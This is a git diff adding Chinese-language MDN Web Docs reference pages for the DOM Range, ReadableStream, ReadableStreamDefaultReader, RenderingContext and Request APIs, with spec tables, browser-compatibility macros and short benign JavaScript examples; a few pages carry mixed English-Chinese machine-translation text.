{{SpecName('DOM WHATWG', '#dom-range-setstartbefore', 'Range.setStartBefore()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-setStartBefore', 'Range.setStartBefore()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.Range.setStartBefore")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/range/startcontainer/index.html b/files/zh-cn/web/api/range/startcontainer/index.html new file mode 100644 index 0000000000..d69c0baad6 --- /dev/null +++ b/files/zh-cn/web/api/range/startcontainer/index.html @@ -0,0 +1,107 @@ +--- +title: Range.startContainer +slug: Web/API/Range/startContainer +translation_of: Web/API/Range/startContainer +--- +

 

+ +

 

+ +
Range.startContainer是只读属性,返回Range开始的节点。要更改节点的起始位置,请使用Range.setStart()方法。
+ +

 

+ +

Syntax

+ +
startRangeNode = range.startContainer;
+
+ +

Example

+ +
range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+startRangeNode = range.startContainer;
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-range-startcontainer', 'Range.endContainer')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-startParent', 'Range.startContainer')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}9.09.0{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/range/startoffset/index.html b/files/zh-cn/web/api/range/startoffset/index.html new file mode 100644 index 0000000000..54cf5b8372 --- /dev/null +++ b/files/zh-cn/web/api/range/startoffset/index.html @@ -0,0 +1,64 @@ +--- +title: Range.startOffset +slug: Web/API/Range/startOffset +tags: + - API + - DOM + - Range + - 属性 +translation_of: Web/API/Range/startOffset +--- +

{{ ApiRef("Range") }}

+ +

Range.startOffset 是一个只读属性,用于返回一个表示 Range 在 startContainer 中的起始位置的数字。

+ +

如果 startContainer 是一个文本({{domxref("Text")}})、注释({{domxref("Comment")}})或者CDATA区块({{domxref("CDATASection")}})节点,那么返回的偏移量是从 startContainer 开始到 {{domxref("Range")}} 的边界点的字符数量。对于其他的节点类型, startOffset 返回 startContainer 到边界点的子节点数量。

+ +

可使用{{domxref("Range.setStart")}} 方法改变 Range  startOffset 位置。

+ +

语法

+ +
startRangeOffset = range.startOffset;
+
+ +

示例

+ +
range = document.createRange();
+range.setStart(startNode,startOffset);
+range.setEnd(endNode,endOffset);
+startRangeOffset = range.startOffset;
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-range-startoffset', 'Range.startOffset')}}{{Spec2('DOM WHATWG')}}无变化
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-attr-startOffset', 'Range.startOffset')}}{{Spec2('DOM2 Traversal_Range')}}初始规范
+ +

浏览器兼容性

+ +

{{Compat("api.Range.startOffset")}}

+ +

参见

+ +
+ + diff --git a/files/zh-cn/web/api/range/surroundcontents/index.html b/files/zh-cn/web/api/range/surroundcontents/index.html new file mode 100644 index 0000000000..58695a43f4 --- /dev/null +++ b/files/zh-cn/web/api/range/surroundcontents/index.html @@ -0,0 +1,80 @@ +--- +title: Range.surroundContents +slug: Web/API/Range/surroundContents +tags: + - API + - DOM + - Range + - 方法 + - 范围 +translation_of: Web/API/Range/surroundContents +--- +
{{ ApiRef("Range") }}
+ +

Range.surroundContents() 方法将 {{ domxref("Range") }} 对象的内容移动到一个新的节点,并将新节点放到这个范围的起始处。

+ +

这个方法与 newNode.appendChild(range.extractContents()); range.insertNode(newNode) 等价。应用以后, newNode 包含在 range 的边界点中。

+ +

然而,如果 {{ domxref("Range") }} 断开了一个非 {{ domxref("Text") }} 节点,只包含了节点的其中一个边界点,就会抛出异常。也就是说,不像上述的等价方法,如果节点仅有一部分被选中,则不会被克隆,整个操作会失败。

+ +

语法

+ +
range.surroundContents(newParent);
+
+ +

参数

+ +
+
newParent
+
一个包含内容的 {{ domxref("Node") }}。
+
+ +

示例

+ +

HTML

+ +
<span class="header-text">Put this in a headline</span>
+ +

JavaScript

+ +
const range = document.createRange();
+const newParent = document.createElement('h1');
+
+range.selectNode(document.querySelector('.header-text'));
+range.surroundContents(newParent);
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-range-surroundcontents', 'Range.surroundContents()')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-surroundContents', 'Range.surroundContents()')}}{{Spec2('DOM2 Traversal_Range')}}Initial specification.
+ +

浏览器兼容性

+ +

{{Compat("api.Range.surroundContents")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/readablestream/getreader/index.html b/files/zh-cn/web/api/readablestream/getreader/index.html new file mode 100644 index 0000000000..bddbcf0bae --- /dev/null +++ b/files/zh-cn/web/api/readablestream/getreader/index.html @@ -0,0 +1,103 @@ +--- +title: ReadableStream.getReader() +slug: Web/API/ReadableStream/getReader +tags: + - API + - getReader + - 参考 + - 可读取流 + - 方法 + - 流 +translation_of: Web/API/ReadableStream/getReader +--- +
{{APIRef("Streams")}}
+ +

使用{{domxref("ReadableStream")}}接口的getReader() 方法创建一个reader,并将流锁定。只有当前reader将流释放后,其他reader才能使用。

+ +

语法

+ +
var reader = readableStreamInstance.getReader({mode});
+ +

参数

+ +
+
{mode}- 可选参数
+
具有 mode参数的对象,值为  {{domxref("DOMString")}}类型 ,用来指定要创建的阅读器的类型。其值可以是: +
    +
  • byob, 结果为 {{domxref("ReadableStreamBYOBReader")}} 类型,可读取可读字节流。
  • +
  • undefined (未定类型 — 默认值), 返回{{domxref("ReadableStreamDefaultReader")}} ,可以从流中返回单个块。
  • +
+
+
+ +

返回值

+ +

{{domxref("ReadableStreamDefaultReader")}} 类型或{{domxref("ReadableStreamBYOBReader")}} 类型 实例, 取决于 mode 值.

+ +

错误

+ +
+
RangeError——范围错误
+
提供的 mode值 既不是 byob也不是  undefined
+
TypeError——类型错误
+
尝试创建阅读器的流不是 {{domxref("ReadableStream")}}类型
+
+ +

例子

+ +

下面是个简单的例子, 在读取ReadableStream前,使用 getReader()创建一个{{domxref("ReadableStreamDefaultReader")}} 。(查看全部代码 Simple random stream example ). 按顺序读取每个块,并传递给UI, 当整个流被读取完毕后, 从递归方法中退出,并在UI的另一部分输出整个流。

+ +
function fetchStream() {
+  const reader = stream.getReader();
+  let charsReceived = 0;
+
+  // read() 返回了一个promise
+  // 当数据被接收时resolve
+  reader.read().then(function processText({ done, value }) {
+    // Result对象包含了两个属性:
+    // done  - 当stream传完所有数据时则变成true
+    // value - 数据片段。当done不为true时永远为undefined
+    if (done) {
+      console.log("Stream complete");
+      para.textContent = value;
+      return;
+    }
+
+    // value for fetch streams is a Uint8Array
+    charsReceived += value.length;
+    const chunk = value;
+    let listItem = document.createElement('li');
+    listItem.textContent = 'Received ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    list2.appendChild(listItem);
+
+    result += chunk;
+
+    // 再次调用这个函数以读取更多数据
+    return reader.read().then(processText);
+  });
+}
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatus(状态)Comment(备注)
{{SpecName("Streams","#rs-get-reader","getReader()")}}{{Spec2('Streams')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.ReadableStream.getReader")}}

diff --git a/files/zh-cn/web/api/readablestream/index.html b/files/zh-cn/web/api/readablestream/index.html new file mode 100644 index 0000000000..445fc134d1 --- /dev/null +++ b/files/zh-cn/web/api/readablestream/index.html @@ -0,0 +1,114 @@ +--- +title: ReadableStream +slug: Web/API/ReadableStream +tags: + - API + - Fetch + - ReadableStream + - 引用 + - 接口 +translation_of: Web/API/ReadableStream +--- +

{{APIRef("Fetch")}}

+ +

流操作API 中的ReadableStream 接口呈现了一个可读取的二进制流操作。Fetch API 通过 {{domxref("Response")}} 的属性 {{domxref("Body.body", "body")}} 提供了一个具体的 ReadableStream 对象。

+ +

构造函数

+ +
+
{{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}
+
创建并从给定的 Handler 返回一个可读流对象。
+
+ +

属性

+ +
+
{{domxref("ReadableStream.locked")}} {{readonlyInline}}
+
locked 返回这个可读流是否被一个读取器锁定
+
+ +

方法

+ +
+
{{domxref("ReadableStream.cancel()")}}
+
取消读取流,读取方发出一个信号,表示对这束流失去兴趣。可以传入 reason 参数表示取消原因,这个原因将传回给调用方。
+
{{domxref("ReadableStream.getIterator()")}}
+
创建一个异步的 ReadableStream 迭代器并将流锁定于其上。一旦流被锁定,其他读取器将不能读取它,直到它被释放。
+
{{domxref("ReadableStream.getReader()")}}
+
创建一个读取器并将流锁定于其上。一旦流被锁定,其他读取器将不能读取它,直到它被释放。
+
+ +
+
{{domxref("ReadableStream.pipeThrough()")}}
+
提供将当前流管道输出到一个 transform 流或 writable/readable 流对的链式方法。
+
+ +
+
{{domxref("ReadableStream.pipeTo()")}}
+
将当前 ReadableStream 管道输出到给定的 {{domxref("WritableStream")}},并返回一个 promise,输出过程成功时返回 fulfilled,在发生错误时返回 rejected。
+
{{domxref("ReadableStream.tee()")}}
+
tee 方法(tee本意是将高尔夫球放置在球座上)tees 了可读流,返回包含两个{{domxref("ReadableStream")}} 实例分支的数组,每个元素接收了相同的传输数据。
+
{{domxref("ReadableStream[@@asyncIterator]()")}}
+
getIterator 方法的别名。
+
+ +

示例

+ +

下面的例子,创建了一个智能的 {{domxref("Response")}} 来流式化从别的资源处取得的HTML 片段。

+ +

它演示了 {{domxref("ReadableStream")}} 与 {{domxref("Uint8Array")}} 的协同用法。

+ +
fetch("https://www.example.org/").then((response) => {
+  const reader = response.body.getReader();
+  const stream = new ReadableStream({
+    start(controller) {
+      // 下面的函数处理每个数据块
+      function push() {
+        // "done"是一个布尔型,"value"是一个Unit8Array
+        reader.read().then(({ done, value }) => {
+          // 判断是否还有可读的数据?
+          if (done) {
+            // 告诉浏览器已经结束数据发送
+            controller.close();
+            return;
+          }
+
+          // 取得数据并将它通过controller发送给浏览器
+          controller.enqueue(value);
+          push();
+        });
+      };
+
+      push();
+    }
+  });
+
+  return new Response(stream, { headers: { "Content-Type": "text/html" } });
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams','#rs-class','ReadableStream')}}{{Spec2('Streams')}}初始定义
+ +

浏览器兼容性

+ +

{{Compat("api.ReadableStream")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/readablestream/readablestream/index.html b/files/zh-cn/web/api/readablestream/readablestream/index.html new file mode 100644 index 0000000000..14341ef8c2 --- /dev/null +++ b/files/zh-cn/web/api/readablestream/readablestream/index.html @@ -0,0 +1,117 @@ +--- +title: ReadableStream.ReadableStream() +slug: Web/API/ReadableStream/ReadableStream +translation_of: Web/API/ReadableStream/ReadableStream +--- +
{{draft}}{{SeeCompatTable}}{{APIRef("Streams")}}
+ +

ReadableStream() 构造器创建并返回包含处理函数的可读流实例.

+ +

语法

+ +
var readableStream = new ReadableStream(underlyingSource[, queueingStrategy]);
+ +

参数

+ +
+
underlyingSource
+
一个包含定义了构造流行为方法和属性的对象.underlyingSource 包括: +
+
start(controller)
+
这是一个当对象被构造时立刻调用的方法.此方法的内容由开发人员定义,并应着眼于访问流,并执行其他任何必需的设置流功能.如果这个过程是异步完成的,它可以返回一个promise,表明成功或失败.传递给这个方法的controller是一个{{domxref("ReadableStreamDefaultController")}}或{{domxref("ReadableByteStreamController")}},具体取决于type属性的值。开发人员可以使用此方法在设立期间控制流.
+
pull(controller) {{optional_inline}}
+
这个方法,也是由开发人员定义的,当流的内部队列不满时,会重复调用这个方法,直到队列补满。如果pull()返回一个promise,那么它将不会再被调用,直到promise完成;如果promise失败,该流将会出现错误.传递给此方法的controller参数是{{domxref("ReadableStreamDefaultController")}}或{{domxref("ReadableByteStreamController")}},具体取决于type属性的值。由于更多的块被获取,这个方法可以被开发人员用来控制流.
+
cancel(reason) {{optional_inline}}
+
如果应用程序表示该流将被取消(例如,调用了{{domxref("ReadableStream.cancel()")}},则将调用此方法,该方法也由开发人员定义。 该方法应该做任何必要的事情来释放对流的访问。 如果这个过程是异步的,它可以返回一个promise,表明成功或失败.原因参数包含一个{{domxref("DOMString")}},它描述了流被取消的原因.
+
type {{optional_inline}}
+
该属性控制正在处理的可读类型的流。如果它包含一个设置为bytes的值,则传递的控制器对象将是一个{{domxref("ReadableByteStreamController")}},能够处理BYOB(带您自己的缓冲区)/字节流。如果未包含,则传递的控制器将为{{domxref("ReadableStreamDefaultController")}}。
+
autoAllocateChunkSize {{optional_inline}}
+
对于字节流,开发人员可以使用正整数值设置autoAllocateChunkSize 以打开流的自动分配功能。启用此功能后,流实现将自动分配一个具有给定整数大小的{{domxref("ArrayBuffer")}},并调用底层源代码,就好像消费者正在使用BYOB阅读器一样。
+
+
+
queueingStrategy {{optional_inline}}
+
一个可选择定义流的排队策略的对象。这需要两个参数: +
+
highWaterMark
+
非负整数 - 这定义了在应用背压之前可以包含在内部队列中的块的总数。
+
size(chunk)
+
包含参数chunk 的方法 - 这表示每个块使用的大小(以字节为单位).
+
+ +
+

Note: You could define your own custom queueingStrategy, or use an instance of {{domxref("ByteLengthQueueingStrategy")}} or {{domxref("CountQueueingStrategy")}} for this object value. If no queueingStrategy is supplied, the default used is the same as a CountQueuingStrategy with a high water mark of 1.

+
+
+
+ +

返回值

+ +

{{domxref("ReadableStream")}}对象的实例.

+ +

错误

+ +
+
RangeError
+
提供的值既不是bytes也不是undefined.
+
+ +

例子

+ +

In the following simple example, a custom ReadableStream is created using a constructor (see our Simple random stream example for the full code). The start() function generates a random string of text every second and enqueues it into the stream. A cancel() fuction is also provided to stop the generation if {{domxref("ReadableStream.cancel()")}} is called for any reason.

+ +

When a button is pressed, the generation is stopped, the stream is closed using {{domxref("ReadableStreamDefaultController.close()")}}, and another function is run, which reads the data back out of the stream.

+ +
const stream = new ReadableStream({
+  start(controller) {
+    interval = setInterval(() => {
+      let string = randomChars();
+
+      // Add the string to the stream
+      controller.enqueue(string);
+
+      // show it on the screen
+      let listItem = document.createElement('li');
+      listItem.textContent = string;
+      list1.appendChild(listItem);
+    }, 1000);
+
+    button.addEventListener('click', function() {
+      clearInterval(interval);
+      fetchStream();
+      controller.close();
+    })
+  },
+  pull(controller) {
+    // We don't really need a pull in this example
+  },
+  cancel() {
+    // This is called if the reader cancels,
+    // so we should stop generating strings
+    clearInterval(interval);
+  }
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Streams","#rs-constructor","ReadableStream()")}}{{Spec2('Streams')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ReadableStream.ReadableStream")}}

diff --git a/files/zh-cn/web/api/readablestreamdefaultreader/index.html b/files/zh-cn/web/api/readablestreamdefaultreader/index.html new file mode 100644 index 0000000000..499d15013c --- /dev/null +++ b/files/zh-cn/web/api/readablestreamdefaultreader/index.html @@ -0,0 +1,144 @@ +--- +title: ReadableStreamDefaultReader +slug: Web/API/ReadableStreamDefaultReader +translation_of: Web/API/ReadableStreamDefaultReader +--- +

{{APIRef("Streams")}}{{SeeCompatTable}}

+ +


+  Streams API 的 ReadableStreamDefaultReader 的接口 表示一个可被用于读取来自网络提供的流数据(例如 fetch 请求)的默认读取器

+ +

构造方法

+ +
+
ReadableStreamDefaultReader()
+
创建 和 返回 一个 ReadableStreamDefaultReader() 对象实例.
+
+ +

属性

+ +
+
ReadableStreamDefaultReader.closed
+    
+
允许你编写 当stream结束时 执行的代码 . 如果这个stream变成关闭状态或者 reader 的锁(lock)被释放 则返回一个状态是 fulfills的 promise,如果这个stream 报错则返回rejects的promise.
+
+ +

方法

+ +
+
ReadableStreamDefaultReader.cancel()
+
取消这个 stream, 表示对这个stream失去了兴趣. 提供的参数将传递给源source, 可能会也可能不会用到这些参数.
+
ReadableStreamDefaultReader.read()
+
返回一个promise,提供对stream内部队列中下一个块(chunk)访问的promise.
+
ReadableStreamDefaultReader.releaseLock()
+
释放读取这个stream的锁.
+
+ +

例子

+ +

在下面的例子中, {{domxref("Response")}} 被创建为流 HTML片段 fetched 来自其他源.

+ +

它展示了一个 {{domxref("ReadableStream")}} 和一个 Uint8Array组合使用的例子.

+ +
fetch("https://www.example.org/").then((response) => {
+  const reader = response.body.getReader();
+  const stream = new ReadableStream({
+    start(controller) {
+      // The following function handles each data chunk
+      function push() {
+        // "done" is a Boolean and value a "Uint8Array"
+        return reader.read().then(({ done, value }) => {
+          // Is there no more data to read?
+          if (done) {
+            // Tell the browser that we have finished sending data
+            controller.close();
+            return;
+          }
+
+          // Get the data and send it to the browser via the controller
+          controller.enqueue(value);
+        }).then(push);
+      };
+
+      push();
+    }
+  });
+
+  return new Response(stream, { headers: { "Content-Type": "text/html" } });
+});
+
+ +

产品规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Streams','#default-reader-class','ReadableStreamDefaultReader')}}{{Spec2('Streams')}}初始定义
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support +

{{CompatChrome(52.0)}}

+
{{CompatGeckoDesktop("57.0")}}{{CompatUnknown}} +

{{CompatOpera(39)}}

+
{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(52)}}{{CompatChrome(52)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(39)}}{{CompatUnknown}}
+
diff --git a/files/zh-cn/web/api/renderingcontext/index.html b/files/zh-cn/web/api/renderingcontext/index.html new file mode 100644 index 0000000000..00b7a39db8 --- /dev/null +++ b/files/zh-cn/web/api/renderingcontext/index.html @@ -0,0 +1,29 @@ +--- +title: RenderingContext +slug: Web/API/RenderingContext +translation_of: Web/API/RenderingContext +--- +

{{APIRef("Canvas API")}}

+ +

RenderingContext 是一个辅助类型,描述下面任何一个渲染上下文:  {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}} 或者 {{domxref("WebGL2RenderingContext")}} (继承自 WebGLRenderingContext)。

+ +

这是简化规范的辅助类型,它不是一个接口,也没有对象实现它。

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#renderingcontext", "RenderingContext")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

 

diff --git a/files/zh-cn/web/api/request/cache/index.html b/files/zh-cn/web/api/request/cache/index.html new file mode 100644 index 0000000000..9cf3212519 --- /dev/null +++ b/files/zh-cn/web/api/request/cache/index.html @@ -0,0 +1,103 @@ +--- +title: Request.cache +slug: Web/API/Request/cache +translation_of: Web/API/Request/cache +--- +
{{APIRef("Fetch")}}
+ +

cache 作为{{domxref("Request")}} 接口只读属性包含着请求的缓存模式。它控制着请求以何种方式与浏览器的  HTTP 缓存进行交互。

+ +

Syntax

+ +
var currentCacheMode = request.cache;
+ +

Value

+ +

A RequestCache value. The available values are:

+ + + +

Example

+ +
// Download a resource with cache busting, to bypass the cache
+// completely.
+fetch("some.json", {cache: "no-store"})
+  .then(function(response) { /* consume the response */ });
+
+// Download a resource with cache busting, but update the HTTP
+// cache with the downloaded resource.
+fetch("some.json", {cache: "reload"})
+  .then(function(response) { /* consume the response */ });
+
+// Download a resource with cache busting when dealing with a
+// properly configured server that will send the correct ETag
+// and Date headers and properly handle If-Modified-Since and
+// If-None-Match request headers, therefore we can rely on the
+// validation to guarantee a fresh response.
+fetch("some.json", {cache: "no-cache"})
+  .then(function(response) { /* consume the response */ });
+
+// Download a resource with economics in mind!  Prefer a cached
+// albeit stale response to conserve as much bandwidth as possible.
+fetch("some.json", {cache: "force-cache"})
+  .then(function(response) { /* consume the response */ });
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request-cache','cache')}}{{Spec2('Fetch')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.Request.cache")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/request/clone/index.html b/files/zh-cn/web/api/request/clone/index.html new file mode 100644 index 0000000000..a256435381 --- /dev/null +++ b/files/zh-cn/web/api/request/clone/index.html @@ -0,0 +1,62 @@ +--- +title: Request.clone() +slug: Web/API/Request/clone +translation_of: Web/API/Request/clone +--- +
{{APIRef("Fetch")}}
+ +
+ +

 {{domxref("Request")}} 接口中的clone() 方法可以创建一个当前Request 对象的副本。

+ +

 如果响应体{{domxref("Body")}}已经被使用过,那么clone()会抛出一个{{jsxref("TypeError")}}。实际上,clone() 的主要作用就是支持{{domxref("Body")}}对象的多次使用

+ +

语法

+ +
var newRequest = request.clone();
+ +

参数

+ +

无。

+ +

返回值

+ +

{{domxref("Request")}}对象,也就是Request的完整拷贝

+ +

示例

+ +

在下面的代码中,我们使用{{domxref("Request.Request()")}}构造函数创建了一个新的request对象(请求当前文件夹中的一个图片文件),然后拷贝了这个request对象。

+ +
var myRequest = new Request('flowers.jpg');
+var newRequest = myRequest.clone(); // a copy of the request is now stored in newRequest
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Fetch','#dom-request-clone','clone')}}{{Spec2('Fetch')}}初始化定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.Request.clone")}}

+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/request/context/index.html b/files/zh-cn/web/api/request/context/index.html new file mode 100644 index 0000000000..c1ecbc28a0 --- /dev/null +++ b/files/zh-cn/web/api/request/context/index.html @@ -0,0 +1,43 @@ +--- +title: Request.context +slug: Web/API/Request/context +translation_of: Web/API/Request/context +--- +
{{APIRef("Fetch")}}{{deprecated_header()}}
+ +

The deprecated 弃用context所述的只读属性{{domxref(“请求”)}}接口包含请求的上下文(例如,audioimageiframe)。这定义了要获取的资源类型。它已由{{domxref(“ Request.destination”,“ destination”)}}属性取代。 This defines what sort of resource is being fetched. This has been replaced by the {{domxref("Request.destination", "destination")}} property.

+ +

The context of a request is only relevant in the 请求的上下文仅与ServiceWorker API相关服务人员可以根据URL是用于图像还是可嵌入对象(例如{{htmlelement(“视频”)}},{{domxref(“ iframe”)}}等)进行决策。; a service worker can make decisions based on whether the URL is for an image, or an embeddable object such as a {{htmlelement("video")}}, {{domxref("iframe")}}, etc.

+ +
+

Note注意:您可以在“ 获取规范请求上下文”部分中找到不同可用上下文的完整列表,包括关联的上下文框架类型,CSP指令和平台功能示例 section.

+
+ +

Syntax

+ +
var myContext = request.context;
+ +

Value

+ +

A {{domxref("RequestContext")}} value.一个{{domxref(“ RequestContext”)}}值。

+ +

Example例子

+ +

In the following snippet, we create a new request using the {{domxref("Request.Request()")}} constructor (for an image file in the same directory as the script), then save the request context in a variable:在以下代码段中,我们使用{{domxref(“ Request.Request()”)}}}构造函数创建一个新请求(用于与脚本位于同一目录中的图像文件),然后将请求上下文保存在变量中:

+ +
var myRequest = new Request('flowers.jpg');
+var myContext = myRequest.context; // returns the empty string by default
+ +

Browser compatibility浏览器兼容性

+ + + +

{{Compat("api.Request.context")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/request/credentials/index.html b/files/zh-cn/web/api/request/credentials/index.html new file mode 100644 index 0000000000..f7a57ad6c0 --- /dev/null +++ b/files/zh-cn/web/api/request/credentials/index.html @@ -0,0 +1,64 @@ +--- +title: Request.credentials +slug: Web/API/Request/credentials +tags: + - API + - Fetch + - 属性 + - 证书 + - 请求 +translation_of: Web/API/Request/credentials +--- +
{{APIRef("Fetch")}}
+ +

credentials 是{{domxref("Request")}}接口的只读属性,用于表示用户代理是否应该在跨域请求的情况下从其他域发送cookies。这与XHR的withCredentials 标志相似,不同的是有三个可选值(后者是两个):

+ + + +

语法

+ +
var myCred = request.credentials;
+ +

Value

+ +

A {{domxref("RequestCredentials")}} value.

+ +

举例

+ +

在以下代码中,我们使用{{domxref("Request.Request()")}}创建了一个新的request(为了一个与脚本在同一目录下的图片文件), 接着将request credentials存入一个变量:

+ +
var myRequest = new Request('flowers.jpg');
+var myCred = myRequest.credentials; // returns "same-origin" by default
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request-credentials','credentials')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Request.credentials")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/request/headers/index.html b/files/zh-cn/web/api/request/headers/index.html new file mode 100644 index 0000000000..37e7f41654 --- /dev/null +++ b/files/zh-cn/web/api/request/headers/index.html @@ -0,0 +1,151 @@ +--- +title: Request.headers +slug: Web/API/Request/headers +translation_of: Web/API/Request/headers +--- +
{{APIRef("Fetch")}}
+ +

{{domxref("Request")}}接口的只读属性  headers 包含与当前请求关联的{{domxref("Headers")}}对象.

+ +

语法

+ +
var myHeaders = request.headers;
+ +

+ +

一个 {{domxref("Headers")}} 对象.

+ +

例子

+ +

在下面的代码段中,我们使用 {{domxref("Request.Request()")}} 构造函数(为获取与脚本处于同一目录的图片文件)创建新请求,然后将请求headers保存到变量中:

+ +
var myRequest = new Request('flowers.jpg');
+var myHeaders = myRequest.headers; // Headers {}
+ +

使用 {{domxref("Headers.append")}} 向 {{domxref("Headers")}} 对象中添加header;然后,使用第二个init参数创建一个新的 Request ,同时,传递headers作为一个init选项:

+ +
var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+                   headers: myHeaders,
+                   mode: 'cors',
+                   cache: 'default' };
+
+var myRequest = new Request('flowers.jpg',myInit);
+
+myContentType = myRequest.headers.get('Content-Type'); // returns 'image/jpeg'
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch','#dom-request-headers','headers')}}{{Spec2('Fetch')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Request.headers")}}

+ +

See also

+ + + +
+ + + + + +
diff --git a/files/zh-cn/web/api/request/index.html b/files/zh-cn/web/api/request/index.html new file mode 100644 index 0000000000..10248d0e2f --- /dev/null +++ b/files/zh-cn/web/api/request/index.html @@ -0,0 +1,170 @@ +--- +title: Request +slug: Web/API/Request +translation_of: Web/API/Request +--- +
{{APIRef("Fetch")}}{{SeeCompatTable}}
+ +
Fetch API 的 Request接口?用来表示资源请求。
+ +
+ +

你可以使用  {{domxref("Request.Request()")}} ?构造函数创建一个Request 对象,但是你可能会遇到一个 Request 对象作为其它 API 的操作被返回,比如一个 service worker的{{domxref("FetchEvent.request")}}。

+ +

构造器

+ +
+
{{domxref("Request.Request()")}}
+
创建一个新的 Request 对象。
+
+ +

属性

+ +
+
{{domxref("Request.method")}} {{readonlyInline}}
+
包含请求的方法 (GET, POST, 等.)
+
{{domxref("Request.url")}} {{readonlyInline}}
+
包含这个请求的URL。
+
{{domxref("Request.headers")}} {{readonlyInline}}
+
包含请求相关的{{domxref("Headers")}}对象。
+
{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}
+
包含请求的上下文(例如:audio, image, iframe, 等)
+
{{domxref("Request.referrer")}} {{readonlyInline}}
+
?包含请求的来源 (例如:client)。
+
{{domxref("Request.referrerPolicy")}} {{readonlyInline}}
+
?包含请求来源的策略 (例如:no-referrer)。
+
{{domxref("Request.mode")}} {{readonlyInline}}
+
包含请求的模式 (例如: cors, no-cors, same-origin, navigate).
+
{{domxref("Request.credentials")}} {{readonlyInline}}
+
包含请求的证书(例如: omit, same-origin).
+
{{domxref("Request.redirect")}} {{readonlyinline}}
+
包含?如何处理重定向模式,它可能是一个 follow error或者manual
+
{{domxref("Request.integrity")}} {{readonlyInline}}
+
包含请求的子资源的完整性值 (例如: sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=).
+
{{domxref("Request.cache")}} {{readonlyInline}}
+
包含请求的缓存模式 (例如: default, reload, no-cache).
+
+ +

Request实现了{{domxref("Body")}}, 所以它还具有以下属性可用:

+ +
+
{{domxref("Body.body")}} {{readonlyInline}}
+
一个简单getter用于曝光一个{{domxref("ReadableStream")}}的主体内容.
+
+ +
+
{{domxref("Body.bodyUsed")}} {{readonlyInline}}
+
存储一个{{domxref("Boolean")}}判断主体是否已经被用于一个响应中.
+
+ +

方法

+ +
+
{{domxref("Request.clone()")}}
+
创建当前request的副本。
+
+ +

Request实现 {{domxref("Body")}}, 因此它也有以下方法可用:

+ +
+
{{domxref("Body.arrayBuffer()")}}
+
返回解决一个{{domxref("ArrayBuffer")}}表示的请求主体的promise.
+
{{domxref("Body.blob()")}}
+
返回解决一个{{domxref("Blob")}}表示的请求主体的promise.
+
{{domxref("Body.formData()")}}
+
返回解决一个{{domxref("FormData")}}表示的请求主体的promise.
+
